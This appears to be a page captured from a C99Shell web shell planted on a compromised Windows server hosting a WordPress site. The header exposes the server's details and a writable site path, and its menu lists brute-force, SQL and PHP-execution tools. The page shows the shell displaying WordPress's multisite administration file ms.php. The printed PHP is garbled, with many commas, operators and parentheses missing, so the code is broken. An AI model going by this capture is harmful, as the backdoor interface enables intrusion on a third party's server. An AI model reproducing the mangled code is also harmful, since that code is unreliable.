!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\htdocs\cumbredelclima\wp-admin\includes\   drwxrwxrwx
Free 9.39 GB of 239.26 GB (3.93%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ms.php (33.09 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Multisite administration functions.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/**
 * Determine if uploaded file exceeds space quota.
 *
 * @since 3.0.0
 *
 * @param array $file $_FILES array for a given file.
 * @return array $_FILES array with 'error' key set if file exceeds quota. 'error' is empty otherwise.
 */
function check_upload_size$file ) {
    if ( 
get_site_option'upload_space_check_disabled' ) )
        return 
$file;

    if ( 
$file['error'] != '0' // there's already an error
        
return $file;

    if ( 
defined'WP_IMPORTING' ) )
        return 
$file;

    
$space_left get_upload_space_available();

    
$file_size filesize$file['tmp_name'] );
    if ( 
$space_left $file_size )
        
$file['error'] = sprintf__'Not enough space to upload. %1$s KB needed.' ), number_format( ($file_size $space_left) /1024 ) );
    if ( 
$file_size > ( 1024 get_site_option'fileupload_maxk'1500 ) ) )
        
$file['error'] = sprintf(__('This file is too big. Files must be less than %1$s KB in size.'), get_site_option'fileupload_maxk'1500 ) );
    if ( 
upload_is_user_over_quotafalse ) ) {
        
$file['error'] = __'You have used your space quota. Please delete files before uploading.' );
    }
    if ( 
$file['error'] != '0' && ! isset( $_POST['html-upload'] ) && ( ! defined'DOING_AJAX' ) || ! DOING_AJAX ) ) {
        
wp_die$file['error'] . ' <a href="javascript:history.go(-1)">' __'Back' ) . '</a>' );
    }

    return 
$file;
}
add_filter'wp_handle_upload_prefilter''check_upload_size' );

/**
 * Delete a blog.
 *
 * @since 3.0.0
 *
 * @param int  $blog_id Blog ID.
 * @param bool $drop    True if blog's table should be dropped. Default is false.
 */
function wpmu_delete_blog$blog_id$drop false ) {
    global 
$wpdb;

    
$switch false;
    if ( 
get_current_blog_id() != $blog_id ) {
        
$switch true;
        
switch_to_blog$blog_id );
    }

    
$blog get_blog_details$blog_id );
    
/**
     * Fires before a blog is deleted.
     *
     * @since MU
     *
     * @param int  $blog_id The blog ID.
     * @param bool $drop    True if blog's table should be dropped. Default is false.
     */
    
do_action'delete_blog'$blog_id$drop );

    
$users get_users( array( 'blog_id' => $blog_id'fields' => 'ids' ) );

    
// Remove users from this blog.
    
if ( ! empty( $users ) ) {
        foreach ( 
$users as $user_id ) {
            
remove_user_from_blog$user_id$blog_id );
        }
    }

    
update_blog_status$blog_id'deleted');

    
$current_site get_current_site();

    
// If a full blog object is not available, do not destroy anything.
    
if ( $drop && ! $blog ) {
        
$drop false;
    }

    
// Don't destroy the initial, main, or root blog.
    
if ( $drop && ( == $blog_id || is_main_site$blog_id ) || ( $blog->path == $current_site->path && $blog->domain == $current_site->domain ) ) ) {
        
$drop false;
    }

    
$upload_path trimget_option'upload_path' ) );

    
// If ms_files_rewriting is enabled and upload_path is empty, wp_upload_dir is not reliable.
    
if ( $drop && get_site_option'ms_files_rewriting' ) && empty( $upload_path ) ) {
        
$drop false;
    }

    if ( 
$drop ) {
        
$uploads wp_upload_dir();

        
$tables $wpdb->tables'blog' );
        
/**
         * Filter the tables to drop when the blog is deleted.
         *
         * @since MU
         *
         * @param array $tables  The blog tables to be dropped.
         * @param int   $blog_id The ID of the blog to drop tables for.
         */
        
$drop_tables apply_filters'wpmu_drop_tables'$tables$blog_id );

        foreach ( (array) 
$drop_tables as $table ) {
            
$wpdb->query"DROP TABLE IF EXISTS `$table`" );
        }

        
$wpdb->delete$wpdb->blogs, array( 'blog_id' => $blog_id ) );

        
/**
         * Filter the upload base directory to delete when the blog is deleted.
         *
         * @since MU
         *
         * @param string $uploads['basedir'] Uploads path without subdirectory. @see wp_upload_dir()
         * @param int    $blog_id            The blog ID.
         */
        
$dir apply_filters'wpmu_delete_blog_upload_dir'$uploads['basedir'], $blog_id );
        
$dir rtrim$dirDIRECTORY_SEPARATOR );
        
$top_dir $dir;
        
$stack = array($dir);
        
$index 0;

        while ( 
$index count$stack ) ) {
            
// Get indexed directory from stack
            
$dir $stack[$index];

            
$dh = @opendir$dir );
            if ( 
$dh ) {
                while ( ( 
$file = @readdir$dh ) ) !== false ) {
                    if ( 
$file == '.' || $file == '..' )
                        continue;

                    if ( @
is_dir$dir DIRECTORY_SEPARATOR $file ) ) {
                        
$stack[] = $dir DIRECTORY_SEPARATOR $file;
                    } elseif ( @
is_file$dir DIRECTORY_SEPARATOR $file ) ) {
                        @
unlink$dir DIRECTORY_SEPARATOR $file );
                    }
                }
                @
closedir$dh );
            }
            
$index++;
        }

        
$stack array_reverse$stack ); // Last added dirs are deepest
        
foreach( (array) $stack as $dir ) {
            if ( 
$dir != $top_dir)
            @
rmdir$dir );
        }

        
clean_blog_cache$blog );
    }

    if ( 
$switch )
        
restore_current_blog();
}

/**
 * Delete a user from the network and remove from all sites.
 *
 * @since 3.0.0
 *
 * @todo Merge with wp_delete_user() ?
 *
 * @param int $id The user ID.
 * @return bool True if the user was deleted, otherwise false.
 */
function wpmu_delete_user$id ) {
    global 
$wpdb;

    
$id = (int) $id;
    
$user = new WP_User$id );

    if ( !
$user->exists() )
        return 
false;
    
/**
     * Fires before a user is deleted from the network.
     *
     * @since MU
     *
     * @param int $id ID of the user about to be deleted from the network.
     */
    
do_action'wpmu_delete_user'$id );

    
$blogs get_blogs_of_user$id );

    if ( ! empty( 
$blogs ) ) {
        foreach ( 
$blogs as $blog ) {
            
switch_to_blog$blog->userblog_id );
            
remove_user_from_blog$id$blog->userblog_id );

            
$post_ids $wpdb->get_col$wpdb->prepare"SELECT ID FROM $wpdb->posts WHERE post_author = %d"$id ) );
            foreach ( (array) 
$post_ids as $post_id ) {
                
wp_delete_post$post_id );
            }

            
// Clean links
            
$link_ids $wpdb->get_col$wpdb->prepare"SELECT link_id FROM $wpdb->links WHERE link_owner = %d"$id ) );

            if ( 
$link_ids ) {
                foreach ( 
$link_ids as $link_id )
                    
wp_delete_link$link_id );
            }

            
restore_current_blog();
        }
    }

    
$meta $wpdb->get_col$wpdb->prepare"SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d"$id ) );
    foreach ( 
$meta as $mid )
        
delete_metadata_by_mid'user'$mid );

    
$wpdb->delete$wpdb->users, array( 'ID' => $id ) );

    
clean_user_cache$user );

    
/** This action is documented in wp-admin/includes/user.php */
    
do_action'deleted_user'$id );

    return 
true;
}

/**
 * Sends an email when a site administrator email address is changed.
 *
 * @since 3.0.0
 *
 * @param string $old_value The old email address. Not currently used.
 * @param string $value     The new email address.
 */
function update_option_new_admin_email$old_value$value ) {
    if ( 
$value == get_option'admin_email' ) || !is_email$value ) )
        return;

    
$hash md5$valuetime() .mt_rand() );
    
$new_admin_email = array(
        
'hash' => $hash,
        
'newemail' => $value
    
);
    
update_option'adminhash'$new_admin_email );

    
$email_text __'Howdy ###USERNAME###,

You recently requested to have the administration email address on
your site changed.

If this is correct, please click on the following link to change it:
###ADMIN_URL###

You can safely ignore and delete this email if you do not want to
take this action.

This email has been sent to ###EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###' 
);

    
/**
     * Filter the email text sent when the site admin email is changed.
     *
     * The following strings have a special meaning and will get replaced dynamically:
     * ###USERNAME###  The current user's username.
     * ###ADMIN_URL### The link to click on to confirm the email change.
     * ###EMAIL###     The new email.
     * ###SITENAME###  The name of the site.
     * ###SITEURL###   The URL to the site.
     *
     * @since MU
     *
     * @param string $email_text      Text in the email.
     * @param string $new_admin_email New admin email that the current administration email was changed to.
     */
    
$content apply_filters'new_admin_email_content'$email_text$new_admin_email );

    
$content str_replace'###USERNAME###'$current_user->user_login$content );
    
$content str_replace'###ADMIN_URL###'esc_urladmin_url'options.php?adminhash='.$hash ) ), $content );
    
$content str_replace'###EMAIL###'$value$content );
    
$content str_replace'###SITENAME###'get_site_option'site_name' ), $content );
    
$content str_replace'###SITEURL###'network_home_url(), $content );

    
wp_mail$valuesprintf__'[%s] New Admin Email Address' ), wp_specialchars_decodeget_option'blogname' ) ) ), $content );
}
add_action'update_option_new_admin_email''update_option_new_admin_email'10);
add_action'add_option_new_admin_email''update_option_new_admin_email'10);

/**
 * Sends an email when an email address change is requested.
 *
 * @since 3.0.0
 *
 * @global object $errors WP_Error object.
 * @global object $wpdb   WordPress database object.
 */
function send_confirmation_on_profile_email() {
    global 
$errors$wpdb;
    
$current_user wp_get_current_user();
    if ( ! 
is_object($errors) )
        
$errors = new WP_Error();

    if ( 
$current_user->ID != $_POST['user_id'] )
        return 
false;

    if ( 
$current_user->user_email != $_POST['email'] ) {
        if ( !
is_email$_POST['email'] ) ) {
            
$errors->add'user_email'__"<strong>ERROR</strong>: The email address isn&#8217;t correct." ), array( 'form-field' => 'email' ) );
            return;
        }

        if ( 
$wpdb->get_var$wpdb->prepare"SELECT user_email FROM {$wpdb->users} WHERE user_email=%s"$_POST['email'] ) ) ) {
            
$errors->add'user_email'__"<strong>ERROR</strong>: The email address is already used." ), array( 'form-field' => 'email' ) );
            
delete_option$current_user->ID '_new_email' );
            return;
        }

        
$hash md5$_POST['email'] . time() . mt_rand() );
        
$new_user_email = array(
                
'hash' => $hash,
                
'newemail' => $_POST['email']
                );
        
update_option$current_user->ID '_new_email'$new_user_email );

        
$email_text __'Howdy ###USERNAME###,

You recently requested to have the email address on your account changed.

If this is correct, please click on the following link to change it:
###ADMIN_URL###

You can safely ignore and delete this email if you do not want to
take this action.

This email has been sent to ###EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###' 
);

        
/**
         * Filter the email text sent when a user changes emails.
         *
         * The following strings have a special meaning and will get replaced dynamically:
         * ###USERNAME###  The current user's username.
         * ###ADMIN_URL### The link to click on to confirm the email change.
         * ###EMAIL###     The new email.
         * ###SITENAME###  The name of the site.
         * ###SITEURL###   The URL to the site.
         *
         * @since MU
         *
         * @param string $email_text     Text in the email.
         * @param string $new_user_email New user email that the current user has changed to.
         */
        
$content apply_filters'new_user_email_content'$email_text$new_user_email );

        
$content str_replace'###USERNAME###'$current_user->user_login$content );
        
$content str_replace'###ADMIN_URL###'esc_urladmin_url'profile.php?newuseremail='.$hash ) ), $content );
        
$content str_replace'###EMAIL###'$_POST['email'], $content);
        
$content str_replace'###SITENAME###'get_site_option'site_name' ), $content );
        
$content str_replace'###SITEURL###'network_home_url(), $content );

        
wp_mail$_POST['email'], sprintf__'[%s] New Email Address' ), wp_specialchars_decodeget_option'blogname' ) ) ), $content );
        
$_POST['email'] = $current_user->user_email;
    }
}
add_action'personal_options_update''send_confirmation_on_profile_email' );

/**
 * Adds an admin notice alerting the user to check for confirmation email
 * after email address change.
 *
 * @since 3.0.0
 */
function new_user_email_admin_notice() {
    if ( 
strpos$_SERVER['PHP_SELF'], 'profile.php' ) && isset( $_GET['updated'] ) && $email get_optionget_current_user_id() . '_new_email' ) )
        echo 
"<div class='update-nag'>" sprintf__"Your email address has not been updated yet. Please check your inbox at %s for a confirmation email." ), $email['newemail'] ) . "</div>";
}
add_action'admin_notices''new_user_email_admin_notice' );

/**
 * Check whether a blog has used its allotted upload space.
 *
 * @since MU
 *
 * @param bool $echo Optional. If $echo is set and the quota is exceeded, a warning message is echoed. Default is true.
 * @return bool True if user is over upload space quota, otherwise false.
 */
function upload_is_user_over_quota$echo true ) {
    if ( 
get_site_option'upload_space_check_disabled' ) )
        return 
false;

    
$space_allowed get_space_allowed();
    if ( empty( 
$space_allowed ) || !is_numeric$space_allowed ) )
        
$space_allowed 10// Default space allowed is 10 MB

    
$space_used get_space_used();

    if ( ( 
$space_allowed $space_used ) < ) {
        if ( 
$echo )
            
_e'Sorry, you have used your space allocation. Please delete some files to upload more files.' );
        return 
true;
    } else {
        return 
false;
    }
}

/**
 * Displays the amount of disk space used by the current blog. Not used in core.
 *
 * @since MU
 */
function display_space_usage() {
    
$space_allowed get_space_allowed();
    
$space_used get_space_used();

    
$percent_used = ( $space_used $space_allowed ) * 100;

    if ( 
$space_allowed 1000 ) {
        
$space number_format$space_allowed 1024 );
        
/* translators: Gigabytes */
        
$space .= __'GB' );
    } else {
        
$space number_format$space_allowed );
        
/* translators: Megabytes */
        
$space .= __'MB' );
    }
    
?>
    <strong><?php printf__'Used: %1$s%% of %2$s' ), number_format$percent_used ), $space ); ?></strong>
    <?php
}

/**
 * Get the remaining upload space for this blog.
 *
 * @since MU
 *
 * @param int $size Current max size in bytes
 * @return int Max size in bytes
 */
function fix_import_form_size$size ) {
    if ( 
upload_is_user_over_quotafalse ) == true )
        return 
0;

    
$available get_upload_space_available();
    return 
min$size$available );
}

/**
 * Displays the edit blog upload space setting form on the Edit Blog screen.
 *
 * @since 3.0.0
 *
 * @param int $id The ID of the blog to display the setting for.
 */
function upload_space_setting$id ) {
    
switch_to_blog$id );
    
$quota get_option'blog_upload_space' );
    
restore_current_blog();

    if ( !
$quota )
        
$quota '';

    
?>
    <tr>
        <th><label for="blog-upload-space-number"><?php _e'Site Upload Space Quota' ); ?></label></th>
        <td>
            <input type="number" step="1" min="0" style="width: 100px" name="option[blog_upload_space]" id="blog-upload-space-number" aria-describedby="blog-upload-space-desc" value="<?php echo $quota?>" />
            <span id="blog-upload-space-desc"><span class="screen-reader-text"><?php _e'Size in megabytes' ); ?></span> <?php _e'MB (Leave blank for network default)' ); ?></span>
        </td>
    </tr>
    <?php
}
add_action'wpmueditblogaction''upload_space_setting' );

/**
 * Update the status of a user in the database.
 *
 * Used in core to mark a user as spam or "ham" (not spam) in Multisite.
 *
 * @since 3.0.0
 *
 * @param int    $id         The user ID.
 * @param string $pref       The column in the wp_users table to update the user's status
 *                           in (presumably user_status, spam, or deleted).
 * @param int    $value      The new status for the user.
 * @param null   $deprecated Deprecated as of 3.0.2 and should not be used.
 * @return int   The initially passed $value.
 */
function update_user_status$id$pref$value$deprecated null ) {
    global 
$wpdb;

    if ( 
null !== $deprecated )
        
_deprecated_argument__FUNCTION__'3.1' );

    
$wpdb->update$wpdb->users, array( sanitize_key$pref ) => $value ), array( 'ID' => $id ) );

    
$user = new WP_User$id );
    
clean_user_cache$user );

    if ( 
$pref == 'spam' ) {
        if ( 
$value == ) {
            
/**
             * Fires after the user is marked as a SPAM user.
             *
             * @since 3.0.0
             *
             * @param int $id ID of the user marked as SPAM.
             */
            
do_action'make_spam_user'$id );
        } else {
            
/**
             * Fires after the user is marked as a HAM user. Opposite of SPAM.
             *
             * @since 3.0.0
             *
             * @param int $id ID of the user marked as HAM.
             */
            
do_action'make_ham_user'$id );
        }
    }

    return 
$value;
}

/**
 * Cleans the user cache for a specific user.
 *
 * @since 3.0.0
 *
 * @param int $id The user ID.
 * @return bool|int The ID of the refreshed user or false if the user does not exist.
 */
function refresh_user_details$id ) {
    
$id = (int) $id;

    if ( !
$user get_userdata$id ) )
        return 
false;

    
clean_user_cache$user );

    return 
$id;
}

/**
 * Returns the language for a language code.
 *
 * @since 3.0.0
 *
 * @param string $code Optional. The two-letter language code. Default empty.
 * @return string The language corresponding to $code if it exists. If it does not exist,
 *                then the first two letters of $code is returned.
 */
function format_code_lang$code '' ) {
    
$code strtolowersubstr$code0) );
    
$lang_codes = array(
        
'aa' => 'Afar''ab' => 'Abkhazian''af' => 'Afrikaans''ak' => 'Akan''sq' => 'Albanian''am' => 'Amharic''ar' => 'Arabic''an' => 'Aragonese''hy' => 'Armenian''as' => 'Assamese''av' => 'Avaric''ae' => 'Avestan''ay' => 'Aymara''az' => 'Azerbaijani''ba' => 'Bashkir''bm' => 'Bambara''eu' => 'Basque''be' => 'Belarusian''bn' => 'Bengali',
        
'bh' => 'Bihari''bi' => 'Bislama''bs' => 'Bosnian''br' => 'Breton''bg' => 'Bulgarian''my' => 'Burmese''ca' => 'Catalan; Valencian''ch' => 'Chamorro''ce' => 'Chechen''zh' => 'Chinese''cu' => 'Church Slavic; Old Slavonic; Church Slavonic; Old Bulgarian; Old Church Slavonic''cv' => 'Chuvash''kw' => 'Cornish''co' => 'Corsican''cr' => 'Cree',
        
'cs' => 'Czech''da' => 'Danish''dv' => 'Divehi; Dhivehi; Maldivian''nl' => 'Dutch; Flemish''dz' => 'Dzongkha''en' => 'English''eo' => 'Esperanto''et' => 'Estonian''ee' => 'Ewe''fo' => 'Faroese''fj' => 'Fijjian''fi' => 'Finnish''fr' => 'French''fy' => 'Western Frisian''ff' => 'Fulah''ka' => 'Georgian''de' => 'German''gd' => 'Gaelic; Scottish Gaelic',
        
'ga' => 'Irish''gl' => 'Galician''gv' => 'Manx''el' => 'Greek, Modern''gn' => 'Guarani''gu' => 'Gujarati''ht' => 'Haitian; Haitian Creole''ha' => 'Hausa''he' => 'Hebrew''hz' => 'Herero''hi' => 'Hindi''ho' => 'Hiri Motu''hu' => 'Hungarian''ig' => 'Igbo''is' => 'Icelandic''io' => 'Ido''ii' => 'Sichuan Yi''iu' => 'Inuktitut''ie' => 'Interlingue',
        
'ia' => 'Interlingua (International Auxiliary Language Association)''id' => 'Indonesian''ik' => 'Inupiaq''it' => 'Italian''jv' => 'Javanese''ja' => 'Japanese''kl' => 'Kalaallisut; Greenlandic''kn' => 'Kannada''ks' => 'Kashmiri''kr' => 'Kanuri''kk' => 'Kazakh''km' => 'Central Khmer''ki' => 'Kikuyu; Gikuyu''rw' => 'Kinyarwanda''ky' => 'Kirghiz; Kyrgyz',
        
'kv' => 'Komi''kg' => 'Kongo''ko' => 'Korean''kj' => 'Kuanyama; Kwanyama''ku' => 'Kurdish''lo' => 'Lao''la' => 'Latin''lv' => 'Latvian''li' => 'Limburgan; Limburger; Limburgish''ln' => 'Lingala''lt' => 'Lithuanian''lb' => 'Luxembourgish; Letzeburgesch''lu' => 'Luba-Katanga''lg' => 'Ganda''mk' => 'Macedonian''mh' => 'Marshallese''ml' => 'Malayalam',
        
'mi' => 'Maori''mr' => 'Marathi''ms' => 'Malay''mg' => 'Malagasy''mt' => 'Maltese''mo' => 'Moldavian''mn' => 'Mongolian''na' => 'Nauru''nv' => 'Navajo; Navaho''nr' => 'Ndebele, South; South Ndebele''nd' => 'Ndebele, North; North Ndebele''ng' => 'Ndonga''ne' => 'Nepali''nn' => 'Norwegian Nynorsk; Nynorsk, Norwegian''nb' => 'BokmÃ¥l, Norwegian, Norwegian BokmÃ¥l',
        
'no' => 'Norwegian''ny' => 'Chichewa; Chewa; Nyanja''oc' => 'Occitan, Provençal''oj' => 'Ojibwa''or' => 'Oriya''om' => 'Oromo''os' => 'Ossetian; Ossetic''pa' => 'Panjabi; Punjabi''fa' => 'Persian''pi' => 'Pali''pl' => 'Polish''pt' => 'Portuguese''ps' => 'Pushto''qu' => 'Quechua''rm' => 'Romansh''ro' => 'Romanian''rn' => 'Rundi''ru' => 'Russian',
        
'sg' => 'Sango''sa' => 'Sanskrit''sr' => 'Serbian''hr' => 'Croatian''si' => 'Sinhala; Sinhalese''sk' => 'Slovak''sl' => 'Slovenian''se' => 'Northern Sami''sm' => 'Samoan''sn' => 'Shona''sd' => 'Sindhi''so' => 'Somali''st' => 'Sotho, Southern''es' => 'Spanish; Castilian''sc' => 'Sardinian''ss' => 'Swati''su' => 'Sundanese''sw' => 'Swahili',
        
'sv' => 'Swedish''ty' => 'Tahitian''ta' => 'Tamil''tt' => 'Tatar''te' => 'Telugu''tg' => 'Tajik''tl' => 'Tagalog''th' => 'Thai''bo' => 'Tibetan''ti' => 'Tigrinya''to' => 'Tonga (Tonga Islands)''tn' => 'Tswana''ts' => 'Tsonga''tk' => 'Turkmen''tr' => 'Turkish''tw' => 'Twi''ug' => 'Uighur; Uyghur''uk' => 'Ukrainian''ur' => 'Urdu''uz' => 'Uzbek',
        
've' => 'Venda''vi' => 'Vietnamese''vo' => 'Volapük''cy' => 'Welsh','wa' => 'Walloon','wo' => 'Wolof''xh' => 'Xhosa''yi' => 'Yiddish''yo' => 'Yoruba''za' => 'Zhuang; Chuang''zu' => 'Zulu' );

    
/**
     * Filter the language codes.
     *
     * @since MU
     *
     * @param array  $lang_codes Key/value pair of language codes where key is the short version.
     * @param string $code       A two-letter designation of the language.
     */
    
$lang_codes apply_filters'lang_codes'$lang_codes$code );
    return 
strtr$code$lang_codes );
}

/**
 * Synchronize category and post tag slugs when global terms are enabled.
 *
 * @since 3.0.0
 *
 * @param object $term     The term.
 * @param string $taxonomy The taxonomy for $term. Should be 'category' or 'post_tag', as these are
 *                         the only taxonomies which are processed by this function; anything else
 *                         will be returned untouched.
 * @return object|array Returns `$term`, after filtering the 'slug' field with {@see sanitize_title()}
 *                      if $taxonomy is 'category' or 'post_tag'.
 */
function sync_category_tag_slugs$term$taxonomy ) {
    if ( 
global_terms_enabled() && ( $taxonomy == 'category' || $taxonomy == 'post_tag' ) ) {
        if ( 
is_object$term ) ) {
            
$term->slug sanitize_title$term->name );
        } else {
            
$term['slug'] = sanitize_title$term['name'] );
        }
    }
    return 
$term;
}
add_filter'get_term''sync_category_tag_slugs'10);

/**
 * Displays an access denied message when a user tries to view a site's dashboard they
 * do not have access to.
 *
 * @since 3.2.0
 * @access private
 */
function _access_denied_splash() {
    if ( ! 
is_user_logged_in() || is_network_admin() )
        return;

    
$blogs get_blogs_of_userget_current_user_id() );

    if ( 
wp_list_filter$blogs, array( 'userblog_id' => get_current_blog_id() ) ) )
        return;

    
$blog_name get_bloginfo'name' );

    if ( empty( 
$blogs ) )
        
wp_diesprintf__'You attempted to access the "%1$s" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the "%1$s" dashboard, please contact your network administrator.' ), $blog_name ), 403 );

    
$output '<p>' sprintf__'You attempted to access the "%1$s" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the "%1$s" dashboard, please contact your network administrator.' ), $blog_name ) . '</p>';
    
$output .= '<p>' __'If you reached this screen by accident and meant to visit one of your own sites, here are some shortcuts to help you find your way.' ) . '</p>';

    
$output .= '<h3>' __('Your Sites') . '</h3>';
    
$output .= '<table>';

    foreach ( 
$blogs as $blog ) {
        
$output .= '<tr>';
        
$output .= "<td>{$blog->blogname}</td>";
        
$output .= '<td><a href="' esc_urlget_admin_url$blog->userblog_id ) ) . '">' __'Visit Dashboard' ) . '</a> | ' .
            
'<a href="' esc_urlget_home_url$blog->userblog_id ) ). '">' __'View Site' ) . '</a></td>';
        
$output .= '</tr>';
    }

    
$output .= '</table>';

    
wp_die$output403 );
}
add_action'admin_page_access_denied''_access_denied_splash'99 );

/**
 * Checks if the current user has permissions to import new users.
 *
 * @since 3.0.0
 *
 * @param string $permission A permission to be checked. Currently not used.
 * @return bool True if the user has proper permissions, false if they do not.
 */
function check_import_new_users$permission ) {
    if ( !
is_super_admin() )
        return 
false;
    return 
true;
}
add_filter'import_allow_create_users''check_import_new_users' );
// See "import_allow_fetch_attachments" and "import_attachment_size_limit" filters too.

/**
 * Generates and displays a drop-down of available languages.
 *
 * @since 3.0.0
 *
 * @param array  $lang_files Optional. An array of the language files. Default empty array.
 * @param string $current    Optional. The current language code. Default empty.
 */
function mu_dropdown_languages$lang_files = array(), $current '' ) {
    
$flag false;
    
$output = array();

    foreach ( (array) 
$lang_files as $val ) {
        
$code_lang basename$val'.mo' );

        if ( 
$code_lang == 'en_US' ) { // American English
            
$flag true;
            
$ae __'American English' );
            
$output[$ae] = '<option value="' esc_attr$code_lang ) . '"' selected$current$code_langfalse ) . '> ' $ae '</option>';
        } elseif ( 
$code_lang == 'en_GB' ) { // British English
            
$flag true;
            
$be __'British English' );
            
$output[$be] = '<option value="' esc_attr$code_lang ) . '"' selected$current$code_langfalse ) . '> ' $be '</option>';
        } else {
            
$translated format_code_lang$code_lang );
            
$output[$translated] = '<option value="' esc_attr$code_lang ) . '"' selected$current$code_langfalse ) . '> ' esc_html $translated ) . '</option>';
        }

    }

    if ( 
$flag === false // WordPress english
        
$output[] = '<option value=""' selected$current''false ) . '>' __'English' ) . "</option>";

    
// Order by name
    
uksort$output'strnatcasecmp' );

    
/**
     * Filter the languages available in the dropdown.
     *
     * @since MU
     *
     * @param array $output     HTML output of the dropdown.
     * @param array $lang_files Available language files.
     * @param string $current   The current language code.
     */
    
$output apply_filters'mu_dropdown_languages'$output$lang_files$current );

    echo 
implode"\n\t"$output );
}

/**
 * Displays an admin notice to upgrade all sites after a core upgrade.
 *
 * @since 3.0.0
 *
 * @global int $wp_db_version The version number of the database.
 */
function site_admin_notice() {
    global 
$wp_db_version;
    if ( !
is_super_admin() )
        return 
false;
    if ( 
get_site_option'wpmu_upgrade_site' ) != $wp_db_version )
        echo 
"<div class='update-nag'>" sprintf__'Thank you for Updating! Please visit the <a href="%s">Upgrade Network</a> page to update all your sites.' ), esc_urlnetwork_admin_url'upgrade.php' ) ) ) . "</div>";
}
add_action'admin_notices''site_admin_notice' );
add_action'network_admin_notices''site_admin_notice' );

/**
 * Avoids a collision between a site slug and a permalink slug.
 *
 * In a subdirectory install this will make sure that a site and a post do not use the
 * same subdirectory by checking for a site with the same name as a new post.
 *
 * @since 3.0.0
 *
 * @param array $data    An array of post data.
 * @param array $postarr An array of posts. Not currently used.
 * @return array The new array of post data after checking for collisions.
 */
function avoid_blog_page_permalink_collision$data$postarr ) {
    if ( 
is_subdomain_install() )
        return 
$data;
    if ( 
$data['post_type'] != 'page' )
        return 
$data;
    if ( !isset( 
$data['post_name'] ) || $data['post_name'] == '' )
        return 
$data;
    if ( !
is_main_site() )
        return 
$data;

    
$post_name $data['post_name'];
    
$c 0;
    while( 
$c 10 && get_id_from_blogname$post_name ) ) {
        
$post_name .= mt_rand110 );
        
$c ++;
    }
    if ( 
$post_name != $data['post_name'] ) {
        
$data['post_name'] = $post_name;
    }
    return 
$data;
}
add_filter'wp_insert_post_data''avoid_blog_page_permalink_collision'10);

/**
 * Handles the display of choosing a user's primary site.
 *
 * This displays the user's primary site and allows the user to choose
 * which site is primary.
 *
 * @since 3.0.0
 */
function choose_primary_blog() {
    
?>
    <table class="form-table">
    <tr>
    <?php /* translators: My sites label */ ?>
        <th scope="row"><label for="primary_blog"><?php _e'Primary Site' ); ?></label></th>
        <td>
        <?php
        $all_blogs 
get_blogs_of_userget_current_user_id() );
        
$primary_blog get_user_metaget_current_user_id(), 'primary_blog'true );
        if ( 
count$all_blogs ) > ) {
            
$found false;
            
?>
            <select name="primary_blog" id="primary_blog">
                <?php foreach( (array) $all_blogs as $blog ) {
                    if ( 
$primary_blog == $blog->userblog_id )
                        
$found true;
                    
?><option value="<?php echo $blog->userblog_id ?>"<?php selected$primary_blog$blog->userblog_id ); ?>><?php echo esc_urlget_home_url$blog->userblog_id ) ) ?></option><?php
                
?>
            </select>
            <?php
            
if ( !$found ) {
                
$blog reset$all_blogs );
                
update_user_metaget_current_user_id(), 'primary_blog'$blog->userblog_id );
            }
        } elseif ( 
count$all_blogs ) == ) {
            
$blog reset$all_blogs );
            echo 
$blog->domain;
            if ( 
$primary_blog != $blog->userblog_id // Set the primary blog again if it's out of sync with blog list.
                
update_user_metaget_current_user_id(), 'primary_blog'$blog->userblog_id );
        } else {
            echo 
"N/A";
        }
        
?>
        </td>
    </tr>
    <?php if ( in_arrayget_site_option'registration' ), array( 'all''blog' ) ) ) : ?>
        <tr>
            <th scope="row" colspan="2" class="th-full">
                <?php
                
/** This filter is documented in wp-login.php */
                
$sign_up_url apply_filters'wp_signup_location'network_site_url'wp-signup.php' ) );
                
?>
                <a href="<?php echo esc_url$sign_up_url ); ?>"><?php _e'Create a New Site' ); ?></a>
            </th>
        </tr>
    <?php endif; ?>
    </table>
    <?php
}

/**
 * Grants Super Admin privileges.
 *
 * @since 3.0.0
 *
 * @param int $user_id ID of the user to be granted Super Admin privileges.
 * @return bool True on success, false on failure. This can fail when the user is
 *              already a super admin or when the `$super_admins` global is defined.
 */
function grant_super_admin$user_id ) {
    
// If global super_admins override is defined, there is nothing to do here.
    
if ( isset( $GLOBALS['super_admins'] ) ) {
        return 
false;
    }

    
/**
     * Fires before the user is granted Super Admin privileges.
     *
     * @since 3.0.0
     *
     * @param int $user_id ID of the user that is about to be granted Super Admin privileges.
     */
    
do_action'grant_super_admin'$user_id );

    
// Directly fetch site_admins instead of using get_super_admins()
    
$super_admins get_site_option'site_admins', array( 'admin' ) );

    
$user get_userdata$user_id );
    if ( 
$user && ! in_array$user->user_login$super_admins ) ) {
        
$super_admins[] = $user->user_login;
        
update_site_option'site_admins' $super_admins );

        
/**
         * Fires after the user is granted Super Admin privileges.
         *
         * @since 3.0.0
         *
         * @param int $user_id ID of the user that was granted Super Admin privileges.
         */
        
do_action'granted_super_admin'$user_id );
        return 
true;
    }
    return 
false;
}

/**
 * Revokes Super Admin privileges.
 *
 * @since 3.0.0
 *
 * @param int $user_id ID of the user Super Admin privileges to be revoked from.
 * @return bool True on success, false on failure. This can fail when the user's email
 *              is the network admin email or when the `$super_admins` global is defined.
 */
function revoke_super_admin$user_id ) {
    
// If global super_admins override is defined, there is nothing to do here.
    
if ( isset( $GLOBALS['super_admins'] ) ) {
        return 
false;
    }

    
/**
     * Fires before the user's Super Admin privileges are revoked.
     *
     * @since 3.0.0
     *
     * @param int $user_id ID of the user Super Admin privileges are being revoked from.
     */
    
do_action'revoke_super_admin'$user_id );

    
// Directly fetch site_admins instead of using get_super_admins()
    
$super_admins get_site_option'site_admins', array( 'admin' ) );

    
$user get_userdata$user_id );
